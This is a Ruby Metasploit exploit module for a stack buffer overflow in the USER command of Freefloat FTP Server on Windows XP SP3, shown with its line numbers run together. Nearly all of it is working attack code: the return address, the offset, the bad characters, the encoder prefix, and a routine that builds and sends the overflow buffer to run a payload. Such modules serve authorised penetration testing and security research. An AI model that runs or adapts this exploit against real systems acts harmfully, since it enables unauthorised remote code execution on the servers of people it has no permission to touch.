Path: blob/master/modules/exploits/windows/ftp/freefloatftp_user.rb
23670 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Free Float FTP Server USER Command Buffer Overflow',15'Description' => %q{16Freefloat FTP Server is prone to an overflow condition. It17fails to properly sanitize user-supplied input resulting in a18stack-based buffer overflow. With a specially crafted 'USER'19command, a remote attacker can potentially have an unspecified20impact.21},22'Platform' => 'win',23'Author' => [24'D35m0nd142', # Original exploit25'Doug Prostko <dougtko[at]gmail.com>' # MSF module26],27'License' => MSF_LICENSE,28'References' => [29[ 'CVE', '2012-10023' ],30[ 'OSVDB', '69621'],31[ 'EDB', '23243']32],33'Privileged' => false,34'Payload' => {35'Space' => 444,36'DisableNops' => true,37'BadChars' => "\x00\x0a\x0d",38'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350039},40'Targets' => [41[42'FreeFloat / Windows XP SP3',43{44'Ret' => 0x77c35459, # push esp; ret - mscvrt.dll45'Offset' => 23046}47],48],49'DefaultTarget' => 0,50'DisclosureDate' => '2012-06-12',51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)58end5960def check61connect62disconnect63if (banner =~ /FreeFloat/)64# Software is never updated, so if you run this you're f*cked.65return Exploit::CheckCode::Vulnerable66else67return Exploit::CheckCode::Safe68end69end7071def exploit72connect73buf = rand_text(target['Offset'])74buf << [ target['Ret'] ].pack('V')75buf << rand_text(8)76buf << payload.encoded77send_user(buf)78disconnect79end80end818283